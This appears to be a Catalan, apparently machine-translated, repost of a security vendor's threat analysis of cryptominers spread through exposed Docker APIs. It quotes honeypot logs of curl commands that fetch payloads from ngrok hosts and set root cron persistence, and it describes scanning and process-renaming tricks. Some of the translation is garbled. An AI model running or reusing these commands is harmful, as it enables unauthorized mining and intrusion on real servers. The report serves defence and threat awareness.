Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda

Vam analitzar les dades recollides mitjançant honeypots: les vam crear per fer un seguiment de les amenaces. I hem detectat una activitat important de miners de criptomoneda no desitjats o no autoritzats desplegats com a contenidors delinqüents mitjançant una imatge publicada per la comunitat a Docker Hub. La imatge s'utilitza com a part d'un servei que ofereix miners de criptomoneda maliciosos.

A més, s'instal·len programes de xarxa per penetrar en contenidors i aplicacions veïnes obertes.

Deixem els nostres honeypots tal com estan, és a dir, amb la configuració per defecte, sense cap mesura de seguretat ni la posterior instal·lació de programari addicional. Tingueu en compte que Docker té recomanacions per a la configuració inicial per evitar errors i vulnerabilitats senzilles. Però els honeypots utilitzats són contenidors dissenyats per detectar atacs contra la plataforma de contenidors, no les aplicacions dins dels contenidors.

L'activitat maliciosa detectada també és destacable, ja que no requereix la presència de vulnerabilitats, i també és independent de la versió de Docker. Trobar una imatge de contenidor mal configurada i, per tant, oberta, és tot el que necessiten els atacants per infectar molts servidors oberts.

L'API de Docker no privada permet a l'usuari executar una àmplia gamma de equips, inclòs l'obtenció d'una llista de contenidors en execució, l'obtenció de registres d'un contenidor específic, l'inici, l'aturada (inclosa la força) i fins i tot la creació d'un contenidor nou a partir d'una imatge específica amb la configuració especificada.

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda
A l'esquerra hi ha el mètode de lliurament de programari maliciós. A la dreta hi ha l'entorn de l'atacant, que permet el moviment remot d'imatges.

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda
Desglossament per país de 3762 API de Docker obertes. Basat en la cerca de Shodan el 12.02.2019/XNUMX/XNUMX

Cadena d'atac i variants de càrrega útil

Va ser possible detectar activitats malicioses no només amb l'ajut de honeypots. Les dades de Shodan mostren que el nombre d'API de Docker exposades (vegeu el segon gràfic) ha crescut des que vam investigar un contenidor mal configurat utilitzat com a pont per desplegar el programari de mineria de criptomoneda Monero. A l'octubre de l'any passat (2018, dades actuals ho pots veure així aprox. traductor) només hi havia 856 API obertes.

Un examen dels registres dels pots de mel va mostrar que l'ús d'una imatge de contenidor també està associat amb l'ús de ngrok, una eina per establir connexions segures o reenviar trànsit des de punts d'accés públic a adreces o recursos especificats (per exemple, localhost). Això permet als atacants crear URL dinàmicament quan entreguen una càrrega útil a un servidor obert. A continuació es mostren exemples de codi dels registres que mostren l'abús del servei ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Com podeu veure, els fitxers penjats es descarreguen des d'URL que canvien constantment. Aquests URL tenen una data de caducitat curta, de manera que les càrregues útils no es poden carregar després de la data de caducitat.

Hi ha dues opcions de càrrega útil. El primer és un miner Linux ELF compilat (identificat com a Coinminer.SH.MALXMR.ATNO) que es connecta al grup de mineria. El segon és un script (TrojanSpy.SH.ZNETMAP.A) dissenyat per obtenir determinades eines de xarxa que s'utilitzen per escanejar intervals de xarxa i després buscar nous objectius.

L'script dropper exposa dues variables, que després s'utilitzen per desplegar el miner de criptomoneda. La variable HOST conté l'URL on es troben els fitxers maliciosos i la variable RIP conté el nom del fitxer (en realitat un hash) del miner a desplegar. La variable HOST canvia cada vegada que es canvia la variable hash. L'script també intenta comprovar que no s'executa cap altre miner de criptomoneda al servidor atacat.

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda
Exemples de variables HOST i RIP, així com un fragment de codi utilitzat com a comprovació que no hi ha cap altre miner executant

Abans d'iniciar el miner, es canvia el nom a nginx. Altres versions d'aquest script canvien el nom del miner a altres serveis legítims que poden estar presents en entorns Linux. Això sol ser suficient per evitar les comprovacions de la llista de processos en execució.

L'script de cerca també té funcions. Funciona amb el mateix servei d'URL per desplegar les eines necessàries. Entre ells hi ha el binari zmap, que s'utilitza per escanejar xarxes i obtenir una llista de ports oberts. L'script també carrega un altre binari que s'utilitza per interactuar amb els serveis trobats i rebre banners d'ells per determinar informació addicional sobre el servei trobat (per exemple, la seva versió).

L'script també predefineix alguns intervals de xarxa per a l'escaneig, però això depèn de la versió de l'script. També estableix els ports de destinació dels serveis, en aquest cas Docker, abans d'iniciar l'exploració.

Tan bon punt es troben els objectius previstos, els banners s'eliminen automàticament. L'script també filtra els objectius en funció dels serveis, aplicacions, components o plataformes que li interessen: Redis, Jenkins, Drupal, MODX, Mestre de Kubernetes, Docker client 1.16 i Apache CouchDB. Si el servidor que s'està escanejant coincideix amb algun d'ells, es desa en un fitxer de text que els atacants poden utilitzar posteriorment per a més anàlisis i pirateria. Aquests fitxers de text es descarreguen als servidors dels atacants mitjançant enllaços dinàmics. És a dir, s'utilitza una URL independent per a cada fitxer, la qual cosa significa dificultats en l'accés posterior.

El vector d'atac és una imatge de Docker, com podeu veure als dos fragments de codi següents.

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda
A dalt, canviant el nom a un servei legítim, i a sota, com s'utilitza zmap per escanejar xarxes

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda
Superior: rangs de xarxa predefinits, inferior: ports específics per cercar serveis, inclòs Docker

Com s'utilitzen l'API Docker no privada i les imatges públiques de la comunitat per distribuir els miners de criptomoneda
La captura de pantalla mostra que la imatge de rínxol alpí s'ha baixat més de 10 milions de vegades.

Basat en Alpine Linux i curl, una eina CLI eficient en recursos per transferir fitxers a través de diversos protocols, podeu crear imatge docker. Com podeu veure a la figura anterior, aquesta imatge ja s'ha descarregat més de 10 milions de vegades. Un gran nombre de descàrregues pot significar utilitzar aquesta imatge com a punt d'entrada, aquesta imatge es va actualitzar fa més de sis mesos, els usuaris no baixaven altres imatges en aquest repositori amb tanta freqüència. A Docker punt d'entrada - un conjunt d'instruccions utilitzades per configurar un contenidor per executar-lo. Si la configuració del punt d'entrada és incorrecta (per exemple, el contenidor es deixa obert des d'Internet), la imatge es pot utilitzar com a vector d'atac. Els atacants poden utilitzar-lo per lliurar una càrrega útil si troben un contenidor obert o mal configurat que no s'admet.

És important tenir en compte que aquesta imatge (alpine-curl) no és maliciosa en si mateixa, però com podeu veure més amunt, pot realitzar funcions malicioses. Les imatges Docker similars també es poden utilitzar amb finalitats malicioses. Ens hem posat en contacte amb Docker i hem estat treballant amb ells en aquest tema.

Recomanacions

Configuració incorrecta roman problema constant per a moltes empreses, especialment les que estan implementant DevOps, centrat en el desenvolupament i el lliurament ràpids. Tot s'agreuja per la necessitat de complir amb les normes d'auditoria, seguiment, la necessitat de vigilar la confidencialitat de les dades, així com els enormes danys del seu incompliment. La incorporació de l'automatització de la seguretat al cicle de vida del desenvolupament no només us ajuda a trobar forats de seguretat que d'una altra manera podrien passar desapercebuts, sinó que també redueix la càrrega de treball innecessària, com ara l'execució de compilacions de programari addicionals per a cada vulnerabilitat o configuració incorrecta que es descobreix després de desplegar una aplicació.

L'incident que es parla en aquest article posa de manifest la necessitat de prendre la seguretat primer, incloses les recomanacions següents:

  • Per als administradors de sistemes i desenvolupadors, comproveu sempre la configuració de l'API per assegurar-vos que tot estigui configurat per acceptar sol·licituds d'un servidor o una xarxa interna específics.
  • Seguiu el principi dels drets mínims: comproveu que les imatges dels contenidors estiguin signades i verificades, restringiu l'accés als components crítics (servei de llançament de contenidors) i afegiu xifratge de connexió de xarxa.
  • Seguiu recomanacions i habilitar mecanismes de seguretat com per Docker i incorporat característiques de seguretat.
  • Utilitzeu el temps d'execució automatitzat i l'exploració d'imatges per obtenir informació addicional sobre els processos que s'executen al contenidor (per exemple, per detectar falsificacions o trobar vulnerabilitats). El control d'aplicacions i la supervisió d'integritat ajuden a fer un seguiment dels canvis anòmals als servidors, fitxers i àrees del sistema.

Trendmicro ajuda els equips de DevOps a construir de manera segura, a desplegar-se ràpidament i a executar-se a qualsevol lloc. Trend Micro Seguretat al núvol híbrid ofereix una seguretat potent, racionalitzada i automatitzada en el pipeline DevOps d'una organització i ofereix múltiples maneres de protegir-se de les amenaces XGen per protegir les càrregues de treball físiques, virtuals i al núvol en temps d'execució. També afegeix protecció al contenidor amb seguretat profunda и Comprovació intel·ligent de seguretat profunda, que escanegen imatges de contenidors Docker a la recerca de programari maliciós i vulnerabilitats a qualsevol interval del procés de desenvolupament per prevenir les amenaces abans de desplegar-se.

Signes de compromís

Hash relacionats:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

En Videocurs de Docker els ponents pràctics mostren quins paràmetres s'han de fer primer per minimitzar la probabilitat o evitar completament que es produeixi la situació descrita anteriorment. Un intensiu en línia del 19 al 21 d'agost Eines i trucs DevOps Podreu parlar d'aquests i altres temes de seguretat similars amb els companys i els professors en exercici en una taula rodona on tothom pugui parlar i escoltar els dolors i els èxits dels companys experimentats.

Font: www.habr.com

Afegeix comentari